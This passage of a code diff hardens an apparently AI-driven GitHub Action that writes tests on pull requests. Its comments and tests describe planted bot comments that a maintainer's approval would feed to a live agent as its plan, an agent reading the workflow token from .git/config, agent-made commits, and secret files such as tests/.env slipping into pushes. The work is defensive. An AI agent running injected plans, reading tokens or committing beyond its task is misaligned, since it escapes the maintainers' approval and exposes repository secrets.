plan.context.sha) + const stale = findSupersededProposal(comments, plan.context.sha, botLogin) if (stale) { replyOnPr( plan.context.pr, @@ -634,6 +685,15 @@ function main() { // and a `fix` proposal could run something else, live, with --yolo. if (waiting?.workflow) plan.workflow = waiting.workflow + // Adopt the check the PROPOSAL run left in progress. This run is a + // different process with an empty memo, so without the lookup it + // posts a SECOND check and the proposal's one stays pending beside + // it for the life of the branch (M5). The sweep already does this; + // the approval path did not. + const pending = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${plan.context.sha}/check-runs?per_page=100`])?.check_runs) + if (pending) rememberCheck(plan.context.sha, pending) + consumedMarker = proposalConsumedMarkerFor(plan.context.sha) + // FR-43: the run carries out the approved plan — the proposal as the // approver left it, edits and all. Written to a file rather than // squeezed onto a command line: a case list is prose, and --context @@ -724,14 +784,12 @@ function main() { finishWithStarter(configPath) } - // An event-driven run names no job: the pipeline file decides, via --event. - // A manual run names one and carries no event, which is how the CLI is told - // to ignore the bindings entirely. - // A manual run names its job. An event-driven run does NOT: which job an - // event runs is the pipeline file's decision, so the Action passes only - // --event and lets the CLI resolve the binding. Guessing a name here was the - // first live run's failure — it produced `no binding for "pr_opened" - // (workflow "test")` because the repo had bound `generate`, not `test`. + // A manual run names its job and carries no event, which is how the CLI is + // told to ignore the bindings. An event-driven run does NOT name one: + // which job an event runs is the pipeline file's decision, so the Action + // passes only --event. Guessing a name here was the first live run's + // failure — `no binding for "pr_opened" (workflow "test")`, because the + // repository had bound `generate`. const args = ["workflow", "run"] if (plan.workflow) args.push(plan.workflow) if (plan.event) args.push("--event", plan.event) @@ -750,9 +808,8 @@ function main() { // default one. The starter workflow cannot be amended once customers have // merged it, so the Action puts itself on the right commit. // - // Read-only with respect to the remote, and advisory: a checkout we cannot - // do is reported and the run continues against whatever is here, because a - // proposal built from the diff is still worth having. + // Read-only with respect to the remote, and advisory: see the checkout + // below, which says what happens when it cannot be done. // Every arm fails CLOSED, and each is read from the world rather than // asserted. An earlier draft hard-coded sameRepo on the reasoning that // plan-run.mjs already skips forks — true today, and exactly the shape @@ -779,8 +836,7 @@ function main() { plan.context.sha && needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }) ) { - const fetched = git(["fetch", "origin", plan.context.sha]) - const moved = fetched.ok && git(["checkout", "-B", plan.context.branch, plan.context.sha]).ok + const moved = fetchAndCheckout(plan.context.sha, plan.context.branch) if (moved) notice(`Working on ${plan.context.branch} at ${String(plan.context.sha).slice(0, 7)}.`) else warn(`Could not check out ${plan.context.branch}; the run sees whatever this job checked out.`) } @@ -825,6 +881,8 @@ function main() { ) } + // Where HEAD was before the agent touched anything (M7). + headBeforeRun = git(["rev-parse", "HEAD"]).out notice(`tc ${args.join(" ")}`) // Both files are written by `tc` itself, and the result file only when the // run generates cases. Remove any stale copy first so a run that produces @@ -984,7 +1042,7 @@ function main() { ? OUTCOMES.TESTS_FAILED : outcome postCheck(checkOutcome, view, checkSha(plan.context, summary, env.GITHUB_SHA), annotations) - if (plan.context.pr) postComment(plan.context.pr, { ...view, approvalNote }) + if (plan.context.pr) postComment(plan.context.pr, { ...view, approvalNote, consumedMarker }) // Always exit 0. Whether the build goes red is the build effect's call, and // a separate step applies it — otherwise the report never gets attached. @@ -1007,6 +1065,18 @@ function main() { function saveWork(saving, plan) { if (!saving.ok) return undefined const branch = plan.context.branch + // M7 (review of #3101). We push HEAD, so a commit the AGENT made rides + // along unfiltered — source, lockfiles, `.github/` — and a workflow-file + // change fails the whole push with an error nobody can read. Our own + // commit happens below, after this check, so a HEAD that moved during the + // run was not us. + if (agentCommitted(headBeforeRun, git(["rev-parse", "HEAD"]).out)) { + return [ + `**Could not save this work to \`${branch}\`:** the run committed to this branch itself,`, + "so what is on HEAD is not what Test Companion chose to write. Nothing was pushed —", + "the run's changes are in the job's workspace only.", + ].join(" ") + } if (!GIT_BIN) { return `**Could not save this work to \`${branch}\`:** no trusted \`git\` was found on this runner (looked for a root-owned /usr/bin/git and /bin/git). Nothing was committed or pushed.` } @@ -1031,7 +1101,11 @@ function saveWork(saving, plan) { // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a // path like café.spec.ts arrives as itself. unquote() decodes the escapes // anyway, but not producing them is the better half of the fix. - const status = git(["-c", "core.quotePath=false", "status", "--porcelain"]) + // `-uall` so a NEW DIRECTORY arrives as its files. Without it git reports + // `?? tests/`, splitPushable sees one path with one segment, and + // `git add tests/` commits `tests/.env` and `tests/run.log` along with the + // spec (M6, review of #3101). + const status = git(["-c", "core.quotePath=false", "status", "--porcelain", "--untracked-files=all"]) if (!status.ok) return undefined const { push, skip } = splitPushable(changedPaths(status.raw)) if (push.length === 0) return undefined @@ -1196,7 +1270,28 @@ function stopRuns(plan, who) { ) return } - replyOnPr(pr, `Stopped by @${who}.`) + // M5 (review of #3101). The proposal comment says "say **stop** to drop + // it", and stop cancelled runs without dropping anything — so a later `go` + // still ran the plan the person had just stopped. + // + // The check goes with it. Cancelling a run leaves its check in progress, + // and a check that never resolves blocks anyone who made it required. + dropProposalAndCheck(sha, `Stopped by @${who}.`) + replyOnPr(pr, `Stopped by @${who}.\n\n${proposalDroppedMarkerFor(sha)}`) +} + +/** + * Mark the plan on this commit as spent and finish its check. + * + * Shared by `stop` and the stale-proposal sweep, because leaving either half + * undone is what M5 was about: a dropped plan that a later `go` still runs, + * or a check nobody ever completes. + */ +function dropProposalAndCheck(sha, title) { + if (!sha) return + const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) + if (existing) rememberCheck(sha, existing) + postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", title) } /** @@ -1296,7 +1391,7 @@ function sweepExpiredProposals() { const sha = pr?.head?.sha if (!sha || !pr?.number) continue const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${pr.number}/comments`, "--paginate", "--slurp"])) - if (!proposalNeedsDropping(comments, sha)) continue + if (!proposalNeedsDropping(comments, sha, Date.now(), botLogin)) continue // Complete the check the PROPOSAL run left in progress, rather than // adding a second one beside it. The sweep is a different process with @@ -1384,8 +1479,11 @@ function postComment(pr, view) { // []. Every run then posted a NEW comment instead of editing its own, which // is the single-comment guarantee in FR-29 (review finding, PR #3030). const existing = flattenPages(gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--paginate", "--slurp"])) - const choice = chooseCommentAction(existing) - const body = { body: renderComment(view) } + const choice = chooseCommentAction(existing, botLogin) + // M5 (review of #3101): an approved proposal must stop looking like one. + // Without this a second `go` reran the job, and a day later the sweep told + // the person their approved plan had gone unanswered. + const body = { body: renderComment(view) + (view.consumedMarker ? `\n${view.consumedMarker}` : "") } if (choice.action === "update") { gh(["api", `repos/${REPO}/issues/comments/${choice.id}`, "--method", "PATCH", "--input", "-"], body) } else { diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs index e6cf3cf..b281c3d 100644 --- a/test-companion/src/plan-run.mjs +++ b/test-companion/src/plan-run.mjs @@ -220,12 +220,16 @@ function fromComment(payload, inputs) { // proposal was instructing an action that could not work (found by the // first approved run). // - // Narrow on purpose: the comment must OPEN with the approval word, or - // ordinary chatter — "good to go once CI passes" — starts runs. And - // main.mjs drops this one anyway unless a proposal is really waiting, so - // the mention stays required for everything that is not an answer to a - // question we asked. - const approvalOnly = !addressed && /^\s*(go|approved?)\b/i.test(body) + // EXACTLY the approval and nothing else. Opening with the word was not + // narrow enough: "Approved, but rename the login case" is an ordinary + // review comment on any pull request, and it started a live write run with + // "but rename the login case" carried in as approver edits that win + // (M3, review of #3101). + // + // Edits alongside an approval are still supported — FR-43 invites them — + // but then the person has to address us, which is the difference between + // talking to Test Companion and talking about the change. + const approvalOnly = !addressed && /^\s*(go|approved?)\s*[.!]*\s*$/i.test(body) if (!addressed && !approvalOnly) return skip("not-addressed-to-us") // Everything after the mention is what the person actually asked for. The diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index 6f89f25..bb9c264 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -421,6 +421,24 @@ const EXPECTED_CONFIG = [ * `extensions.worktreeConfig` in the local file, which is not an expected key, * so a repository using it is refused by this same check. */ +/** + * Did the agent commit something itself? — review of #3101, M7. + * + * We push `HEAD`, so anything the agent committed rides along: edits to + * source, to lockfiles, to `.github/`, none of it filtered by splitPushable + * — and a workflow-file change makes the whole push fail with a permissions + * error nobody can read. The run's own commit is made by us, after this + * check, so a HEAD that moved during the run was not us. + * + * Fails CLOSED. Not knowing where HEAD started is not permission to push. + */ +export function agentCommitted(headBefore, headNow) { + const before = String(headBefore ?? "").trim() + const now = String(headNow ?? "").trim() + if (!before) return true + return Boolean(now) && before !== now +} + export const CONFIG_READ_ARGS = Object.freeze(["config", "--local", "--list", "--name-only"]) /** diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index c2b2a4f..c2e3cb3 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -14,6 +14,22 @@ import { CAPABILITIES } from "./intent.mjs" * edited in place, not a new one per run. An HTML comment so a reader never * sees it. */ +/** + * Is this comment one WE wrote? — review of #3101, M2. + * + * "Any bot" was the old answer, and it was not good enough. Another App on + * the repository, or `github-actions[bot]` driven by any other workflow in + * it, could post a comment carrying our proposal marker. A maintainer's `go` + * then fed that body to a live `--yolo` run as the approved plan — no write + * access needed, just a workflow, and plenty of repositories run one on a + * fork's pull request. + * + * Fails CLOSED: with no login to compare against, nothing is ours. The worst + * case is proposing again; the alternative is running someone else's text. + */ +export const isOurs = (comment, us) => + Boolean(us) && comment?.user?.type === "Bot" && comment?.user?.login === us + export const COMMENT_MARKER = "" const previewRun = (summary) => summary?.preview === "true" @@ -190,8 +206,8 @@ export function renderComment(args) { * person quoting our comment in their reply capture the thread, after which * every run would overwrite their words. */ -export function chooseCommentAction(comments) { - const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(COMMENT_MARKER)) +export function chooseCommentAction(comments, us) { + const ours = (comments ?? []).filter((c) => isOurs(c, us) && (c.body ?? "").includes(COMMENT_MARKER)) if (ours.length === 0) return { action: "create" } // Oldest, so repeated runs converge on one comment even if a duplicate // somehow appeared. @@ -310,7 +326,7 @@ export function renderProposal(body, sha, requester, workflow) { return [ body, "", - "Reply **go** to run this for real. Nothing is written until you do — you can edit the list first, or say **stop** to drop it.", + "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@test-companion go** with your edits; to drop it, say **stop**.", "", proposalMarkerFor(sha, requester, workflow), ].join("\n") @@ -326,13 +342,19 @@ export function renderProposal(body, sha, requester, workflow) { * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst * case is a fresh proposal rather than approving one of unknown age. */ -export function findProposal(comments, sha, now = Date.now()) { +export function findProposal(comments, sha, now = Date.now(), us) { // `by=` is optional so proposals written before the requester was recorded // stay approvable rather than becoming stuck. // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. const want = String(sha ?? "").trim() - const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && readMarker(c.body)?.sha === want) + // Spent, either way round: approved and run (M5), or dropped by `stop` or + // by the sweep. Checked before anything else, so neither a second `go` nor + // the sweep can act on a plan that is already finished with. + const spent = [proposalConsumedMarkerFor(want), proposalDroppedMarkerFor(want)] + if ((comments ?? []).some((c) => isOurs(c, us) && spent.some((m) => (c.body ?? "").includes(m)))) return undefined + + const ours = (comments ?? []).filter((c) => isOurs(c, us) && readMarker(c.body)?.sha === want) if (ours.length === 0) return undefined const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) const age = now - Date.parse(newest.created_at ?? "") @@ -396,6 +418,20 @@ export function renderApprovedPlan(proposalBody, replyText) { * a fresh "Action required" check and a fresh comment on the same dead proposal * every night for as long as the pull request stayed open. */ +/** + * A proposal has been APPROVED and run — review of #3101, M5. + * + * Approving left no trace, so the proposal stayed "waiting" after it had + * already been carried out: a second `go` ran the job again, and a day later + * the sweep told the person their approved plan had gone unanswered. + * + * Separate from the dropped marker because they are different events and the + * reply text differs, but both mean the same thing here — this plan is spent. + */ +export function proposalConsumedMarkerFor(sha) { + return `` +} + export function proposalDroppedMarkerFor(sha) { return `` } @@ -410,11 +446,11 @@ export function proposalDroppedMarkerFor(sha) { * then blocked by a check that never resolves — the exact failure Release 2 * avoided by posting the tick at the end of a run rather than the start. */ -export function proposalNeedsDropping(comments, sha, now = Date.now()) { - const waiting = findProposal(comments, sha, now) +export function proposalNeedsDropping(comments, sha, now = Date.now(), us) { + const waiting = findProposal(comments, sha, now, us) if (!waiting?.expired) return false const dropped = proposalDroppedMarkerFor(sha) - return !(comments ?? []).some((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(dropped)) + return !(comments ?? []).some((c) => isOurs(c, us) && (c.body ?? "").includes(dropped)) } /** @@ -541,11 +577,11 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { * Only our own comments count, so a person quoting the marker cannot * manufacture one. */ -export function findSupersededProposal(comments, sha) { +export function findSupersededProposal(comments, sha, us) { const current = String(sha ?? "").trim() // Same reader as findProposal, so the two cannot drift again. const stale = (comments ?? []).filter((c) => { - if (c?.user?.type !== "Bot") return false + if (!isOurs(c, us)) return false const found = readMarker(c.body) return Boolean(found) && found.sha !== current }) diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 8b7f10f..4f44edf 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -75,6 +75,21 @@ jobs: test-companion: runs-on: ubuntu-latest timeout-minutes: 35 + # Don't boot a runner for a conversation we are not part of. + # + # Without this, EVERY comment on every pull request started a job that + # cloned the repository, installed the CLI and signed in to + # BrowserStack, only to decide "not addressed to us" and stop. On a + # busy repository that is most of the runs. + # + # The second and third lines are the bare approval: a proposal says + # "reply go", and people reply without a mention. String comparison in + # these expressions is case-insensitive, so `Go` is covered. + if: >- + github.event_name != 'issue_comment' + || contains(github.event.comment.body, '@test-companion') + || startsWith(github.event.comment.body, 'go') + || startsWith(github.event.comment.body, 'approve') # With the Test Companion GitHub App installed, this whole block can be # deleted: the App's installation token carries these permissions # itself. Pass app-id and app-private-key below instead. @@ -90,6 +105,11 @@ jobs: - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 with: fetch-depth: 0 # jobs that look at what changed need history + # The workflow token would otherwise be left in .git/config, + # where any shell command the agent chooses to run can read + # it — and it carries `contents: write`. Test Companion does + # not need it there: it authenticates its own push. + persist-credentials: false # A floating major tag, deliberately, and the one place in this # file that stays unpinned: @v1 is how you receive fixes to Test diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs index 96eda04..4ef4b85 100644 --- a/test-companion/test/intent.test.mjs +++ b/test-companion/test/intent.test.mjs @@ -268,3 +268,40 @@ describe("naming a bound job — matched on whole words, never as a substring", assert.notEqual(readIntent("abc", odd).workflow, "a.c") }) }) + +/** + * Review of PR #3101, M4. + * + * Job words are matched anywhere in the comment and were tested BEFORE the + * approval word. So a reply that approves a waiting plan and adds an edit — + * exactly what FR-43 invites, "you can edit the list first" — was read as a + * fresh request for a different job: + * + * "go, and fix case 3's title" -> proposes `fix`, instead of approving + * + * When a plan is waiting, the approval reading comes first. + */ +describe("a reply to a waiting proposal is read as an approval first", () => { + const bound = { workflows: ["generate", "fix", "rca"], proposalWaiting: true } + + test("an approval carrying an edit still approves", () => { + assert.equal(readIntent("go, and fix case 3's title", bound).kind, INTENT.GO) + assert.equal(readIntent("approved, but rename the login case", bound).kind, INTENT.GO) + }) + + test("with no plan waiting, the same words ask for the job", () => { + const idle = { workflows: ["generate", "fix", "rca"], proposalWaiting: false } + assert.equal(readIntent("fix case 3's title", idle).kind, INTENT.WORKFLOW) + assert.equal(readIntent("fix case 3's title", idle).workflow, "fix") + }) + + test("stop still wins over an approval, even with one waiting", () => { + // FR-35 gives stop its own deadline; approving and cancelling in one + // breath must cancel. + assert.equal(readIntent("stop", bound).kind, INTENT.STOP) + }) + + test("a comment that names no job and no approval is still unknown", () => { + assert.equal(readIntent("looks good to me", bound).kind, INTENT.UNKNOWN) + }) +}) diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs index de7e580..ad1110a 100644 --- a/test-companion/test/plan-run.test.mjs +++ b/test-companion/test/plan-run.test.mjs @@ -457,10 +457,27 @@ describe("a bare approval reaches us — FR-43", () => { assert.equal(out.approvalOnly, true) }) - test("go with edits is carried through too", () => { + /** + * CHANGED by M3 (review of #3101). This used to be carried through, so + * FR-43's "edit the list while approving" worked with no mention. But + * "Approved, but rename the login case" is an ordinary review comment on + * any pull request, and unaddressed it started a live write run with the + * trailing text as approver edits that win. + * + * Editing while approving still works — it just has to be addressed to us + * now, and the proposal comment says so. + */ + test("go WITH EDITS needs the mention, or an ordinary review comment starts a run", () => { const out = planRun({ eventName: "issue_comment", payload: comment("go, but drop case two"), repo: "acme/shop" }) - assert.equal(out.skip, undefined) - assert.equal(out.approvalOnly, true) + assert.equal(out.skip?.reason ?? out.skip, "not-addressed-to-us") + + const addressed = planRun({ + eventName: "issue_comment", + payload: comment("@test-companion go, but drop case two"), + repo: "acme/shop", + }) + assert.equal(addressed.skip, undefined) + assert.match(addressed.context.instructions, /drop case two/) }) test('"approved" works as well', () => { @@ -602,3 +619,42 @@ describe("the flag guard sees the FINAL value, not the raw one", () => { assert.equal(out.context.instructions, "test this PR") }) }) + +/** + * Review of PR #3101, M3. + * + * An UNADDRESSED comment reaches us only as a possible approval. It used to + * be enough to open with the word, so "Approved, but rename X" — an ordinary + * review comment on any pull request — started a live write run, with + * "but rename X" carried in as approver edits that win. + * + * Unaddressed, the comment must now BE the approval and nothing else. + * Addressed, "@test-companion go and also cover X" still works: that is + * FR-43's "you can edit the list first", and they did address us. + */ +describe("an unaddressed comment counts as approval only when it is exactly that", () => { + const comment = (body) => + plan("issue_comment", { + action: "created", + issue: { number: 7, pull_request: { url: "x" } }, + comment: { body, user: { login: "dev" } }, + }) + + test("a bare go approves", () => { + for (const body of ["go", "go.", " go ", "Go!"]) { + assert.equal(comment(body).skip, undefined, `${JSON.stringify(body)} should be an approval`) + } + }) + + test("an ordinary review comment that merely starts with the word does NOT", () => { + for (const body of ["Approved, but rename the login case", "go ahead and ship it", "approved pending CI"]) { + assert.equal(comment(body).skip?.reason ?? comment(body).skip, "not-addressed-to-us", `${JSON.stringify(body)} must not start a run`) + } + }) + + test("addressed, edits alongside the approval are still allowed", () => { + const plan = comment("@test-companion go, and also cover the empty-cart case") + assert.equal(plan.skip, undefined) + assert.match(plan.context.instructions, /also cover the empty-cart case/) + }) +}) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index da72a0e..6a38fdc 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -14,6 +14,7 @@ import { isSameRepo, pushCredentialEnv, unexpectedConfigKeys, + agentCommitted, CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, @@ -716,3 +717,38 @@ describe("the config check reads the repository, not our own flags", () => { } }) }) + +/** + * Review of PR #3101, M6 and M7. Two ways the push carried more than the run + * meant to write. + */ +describe("the push carries the run's test files and nothing else", () => { + test("M6 — a new directory must arrive as its files, not as one entry", () => { + // `git status --porcelain` without -uall collapses a new directory to + // `?? tests/`. splitPushable then sees ONE path with one segment, its + // deny list never sees `tests/.env` or `tests/run.log`, and + // `git add tests/` commits the lot. + const collapsed = changedPaths("?? tests/\n") + assert.deepEqual(collapsed, ["tests/"], "this is what the old command produced") + const { push } = splitPushable(collapsed) + assert.deepEqual(push, ["tests/"], "and the deny list cannot see inside it") + + // With -uall the same tree arrives file by file, so the deny list works. + const expanded = changedPaths("?? tests/login.spec.ts\n?? tests/.env\n?? tests/run.log\n") + const split = splitPushable(expanded) + assert.deepEqual(split.push, ["tests/login.spec.ts"]) + assert.ok(split.skip.includes("tests/.env"), "a secret must never be committed") + }) + + test("M7 — a commit the agent made itself is not ours to push", () => { + // We push HEAD. If the agent committed, HEAD carries whatever it put in + // — source, lockfiles, .github/ — none of it filtered by splitPushable. + assert.equal(agentCommitted("aaa111", "bbb222"), true) + assert.equal(agentCommitted("aaa111", "aaa111"), false) + }) + + test("M7 — not knowing where HEAD was is not permission to push", () => { + assert.equal(agentCommitted(undefined, "bbb222"), true, "unknown must fail closed") + assert.equal(agentCommitted("", "bbb222"), true) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 402276b..d36d4b2 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -14,6 +14,7 @@ import { findProposal, renderProposal, proposalDroppedMarkerFor, + proposalConsumedMarkerFor, proposalNeedsDropping, flattenPages, renderExtraChecks, @@ -26,6 +27,9 @@ import { inFlightCheckId, } from "../src/report.mjs" +/** The login this Action posts as. Identity, not account type — see M2. */ +const US = "test-companion[bot]" + const base = { workflow: "generate", outcome: OUTCOMES.SUCCEEDED, @@ -86,31 +90,31 @@ describe("renderComment — FR-29", () => { }) describe("chooseCommentAction — FR-29", () => { - const ours = { id: 7, body: `hello ${COMMENT_MARKER}`, user: { type: "Bot" } } + const ours = { id: 7, body: `hello ${COMMENT_MARKER}`, user: { type: "Bot", login: US } } const theirs = { id: 8, body: "looks good", user: { type: "User" } } test("updates our existing comment rather than adding another", () => { - assert.deepEqual(chooseCommentAction([theirs, ours]), { action: "update", id: 7 }) + assert.deepEqual(chooseCommentAction([theirs, ours], US), { action: "update", id: 7 }) }) test("creates one when there is none yet", () => { - assert.deepEqual(chooseCommentAction([theirs]), { action: "create" }) + assert.deepEqual(chooseCommentAction([theirs], US), { action: "create" }) }) // Someone quoting our comment in their own reply must not capture the thread. test("ignores a human comment that merely quotes the marker", () => { const quoting = { id: 9, body: `> ${COMMENT_MARKER}\nwhy did this fail?`, user: { type: "User" } } - assert.deepEqual(chooseCommentAction([quoting]), { action: "create" }) + assert.deepEqual(chooseCommentAction([quoting], US), { action: "create" }) }) test("updates the oldest of ours if somehow there are two", () => { - const second = { id: 11, body: `later ${COMMENT_MARKER}`, user: { type: "Bot" } } - assert.deepEqual(chooseCommentAction([ours, second]), { action: "update", id: 7 }) + const second = { id: 11, body: `later ${COMMENT_MARKER}`, user: { type: "Bot", login: US } } + assert.deepEqual(chooseCommentAction([ours, second], US), { action: "update", id: 7 }) }) test("an empty thread is not a crash", () => { - assert.deepEqual(chooseCommentAction([]), { action: "create" }) - assert.deepEqual(chooseCommentAction(undefined), { action: "create" }) + assert.deepEqual(chooseCommentAction([], US), { action: "create" }) + assert.deepEqual(chooseCommentAction(undefined, US), { action: "create" }) }) }) @@ -259,8 +263,8 @@ describe("replying when we will not run — FR-33, FR-34", () => { }) test("a refusal is not mistaken for the tracked comment", () => { - const refusal = { id: 1, user: { type: "Bot" }, body: renderNotAuthorized("octocat") } - assert.deepEqual(chooseCommentAction([refusal]), { action: "create" }) + const refusal = { id: 1, user: { type: "Bot", login: US }, body: renderNotAuthorized("octocat") } + assert.deepEqual(chooseCommentAction([refusal], US), { action: "create" }) }) }) @@ -270,14 +274,14 @@ describe("the waiting proposal — FR-43, FR-44", () => { const hoursAgo = (h) => new Date(Date.now() - h * 3600_000).toISOString() const proposal = (over = {}) => ({ id: 10, - user: { type: "Bot" }, + user: { type: "Bot", login: US }, body: `here is what I plan to do\n\n${marker}`, created_at: hoursAgo(1), ...over, }) test("a proposal is found for the commit it was made on", () => { - assert.equal(findProposal([proposal()], SHA)?.id, 10) + assert.equal(findProposal([proposal()], SHA, undefined, US)?.id, 10) }) /** @@ -287,31 +291,31 @@ describe("the waiting proposal — FR-43, FR-44", () => { * stale proposal cannot approve work nobody reviewed. */ test("a proposal for an older commit is not found", () => { - assert.equal(findProposal([proposal()], "deadbee"), undefined) + assert.equal(findProposal([proposal()], "deadbee", undefined, US), undefined) }) // Same reasoning as chooseCommentAction: a person quoting our proposal in // their reply would otherwise be able to approve their own request. test("only a comment WE wrote counts", () => { const quoted = proposal({ user: { type: "User" } }) - assert.equal(findProposal([quoted], SHA), undefined) + assert.equal(findProposal([quoted], SHA, undefined, US), undefined) }) test("the newest proposal wins when there are several", () => { - assert.equal(findProposal([proposal({ id: 10 }), proposal({ id: 12 })], SHA)?.id, 12) + assert.equal(findProposal([proposal({ id: 10 }), proposal({ id: 12 })], SHA, undefined, US)?.id, 12) }) test("a proposal inside the window has not expired — FR-44", () => { - assert.equal(findProposal([proposal({ created_at: hoursAgo(23) })], SHA)?.expired, false) + assert.equal(findProposal([proposal({ created_at: hoursAgo(23) })], SHA, undefined, US)?.expired, false) }) test("after 24 hours it has — FR-44", () => { - assert.equal(findProposal([proposal({ created_at: hoursAgo(25) })], SHA)?.expired, true) + assert.equal(findProposal([proposal({ created_at: hoursAgo(25) })], SHA, undefined, US)?.expired, true) }) test("no proposals at all is undefined, not a throw", () => { - assert.equal(findProposal([], SHA), undefined) - assert.equal(findProposal(undefined, SHA), undefined) + assert.equal(findProposal([], SHA, undefined, US), undefined) + assert.equal(findProposal(undefined, SHA, undefined, US), undefined) }) test("the proposal says how to approve it, and carries its marker", () => { @@ -323,8 +327,8 @@ describe("the waiting proposal — FR-43, FR-44", () => { // It must not be mistaken for the tracked run comment, for the same reason // a refusal must not be. test("a proposal is not the tracked run comment", () => { - const p = { id: 1, user: { type: "Bot" }, body: renderProposal("x", SHA) } - assert.deepEqual(chooseCommentAction([p]), { action: "create" }) + const p = { id: 1, user: { type: "Bot", login: US }, body: renderProposal("x", SHA) } + assert.deepEqual(chooseCommentAction([p], US), { action: "create" }) }) }) @@ -333,11 +337,11 @@ describe("dropping a proposal nobody answered — FR-44", () => { const hoursAgo = (h) => new Date(Date.now() - h * 3600_000).toISOString() const proposal = (h) => ({ id: 10, - user: { type: "Bot" }, + user: { type: "Bot", login: US }, body: `plan\n\n${proposalMarkerFor(SHA)}`, created_at: hoursAgo(h), }) - const dropNotice = { id: 11, user: { type: "Bot" }, body: proposalDroppedMarkerFor(SHA) } + const dropNotice = { id: 11, user: { type: "Bot", login: US }, body: proposalDroppedMarkerFor(SHA) } /** * Without this sweep, a proposal nobody replies to leaves the check on @@ -347,25 +351,25 @@ describe("dropping a proposal nobody answered — FR-44", () => { * if something is guaranteed to end it. */ test("an expired proposal needs dropping", () => { - assert.equal(proposalNeedsDropping([proposal(25)], SHA), true) + assert.equal(proposalNeedsDropping([proposal(25)], SHA, undefined, US), true) }) test("one still inside the window is left alone", () => { - assert.equal(proposalNeedsDropping([proposal(2)], SHA), false) + assert.equal(proposalNeedsDropping([proposal(2)], SHA, undefined, US), false) }) // The sweep runs nightly. Without this it would post a fresh check and a // fresh comment on the same dead proposal every single night. test("one already dropped is not dropped again", () => { - assert.equal(proposalNeedsDropping([proposal(25), dropNotice], SHA), false) + assert.equal(proposalNeedsDropping([proposal(25), dropNotice], SHA, undefined, US), false) }) test("the drop notice is not mistaken for a proposal", () => { - assert.equal(findProposal([dropNotice], SHA), undefined) + assert.equal(findProposal([dropNotice], SHA, undefined, US), undefined) }) test("no proposal at all needs nothing", () => { - assert.equal(proposalNeedsDropping([], SHA), false) + assert.equal(proposalNeedsDropping([], SHA, undefined, US), false) }) }) @@ -401,36 +405,36 @@ describe("reading a paginated gh response — FR-29", () => { }) test("our comment is found once the pages are flattened", () => { - const pages = [[{ id: 5, user: { type: "Bot" }, body: `x ${COMMENT_MARKER}` }]] - assert.deepEqual(chooseCommentAction(flattenPages(pages)), { action: "update", id: 5 }) + const pages = [[{ id: 5, user: { type: "Bot", login: US }, body: `x ${COMMENT_MARKER}` }]] + assert.deepEqual(chooseCommentAction(flattenPages(pages), US), { action: "update", id: 5 }) // and is NOT found without flattening, which is the bug - assert.deepEqual(chooseCommentAction(pages), { action: "create" }) + assert.deepEqual(chooseCommentAction(pages, US), { action: "create" }) }) }) describe("who asked for a proposal — FR-43", () => { const SHA = "abc123" - const bot = (body, over = {}) => ({ id: 10, user: { type: "Bot" }, body, created_at: new Date().toISOString(), ...over }) + const bot = (body, over = {}) => ({ id: 10, user: { type: "Bot", login: US }, body, created_at: new Date().toISOString(), ...over }) test("the marker records who asked", () => { assert.match(proposalMarkerFor(SHA, "octocat"), /by=octocat/) }) test("findProposal reports it, so self-approval can be seen", () => { - const p = findProposal([bot(`plan\n\n${proposalMarkerFor(SHA, "octocat")}`)], SHA) + const p = findProposal([bot(`plan\n\n${proposalMarkerFor(SHA, "octocat")}`)], SHA, undefined, US) assert.equal(p?.requester, "octocat") }) // Proposals written before the requester was recorded must keep working // rather than becoming unapprovable. test("a marker with no requester is still found", () => { - const p = findProposal([bot(`plan\n\n${proposalMarkerFor(SHA)}`)], SHA) + const p = findProposal([bot(`plan\n\n${proposalMarkerFor(SHA)}`)], SHA, undefined, US) assert.equal(p?.id, 10) assert.equal(p?.requester, undefined) }) test("a proposal for another commit is still not found, requester or not", () => { - assert.equal(findProposal([bot(`x\n\n${proposalMarkerFor(SHA, "octocat")}`)], "deadbee"), undefined) + assert.equal(findProposal([bot(`x\n\n${proposalMarkerFor(SHA, "octocat")}`)], "deadbee", undefined, US), undefined) }) }) @@ -543,7 +547,7 @@ describe("the approved plan handed to the run — FR-43", () => { test("findProposal returns the body, because the run has to read it", () => { const body = `## what I plan to do\n- case one\n\n${proposalMarkerFor(SHA, "octocat")}` - const found = findProposal([{ id: 1, user: { type: "Bot" }, body, created_at: new Date().toISOString() }], SHA) + const found = findProposal([{ id: 1, user: { type: "Bot", login: US }, body, created_at: new Date().toISOString() }], SHA, undefined, US) 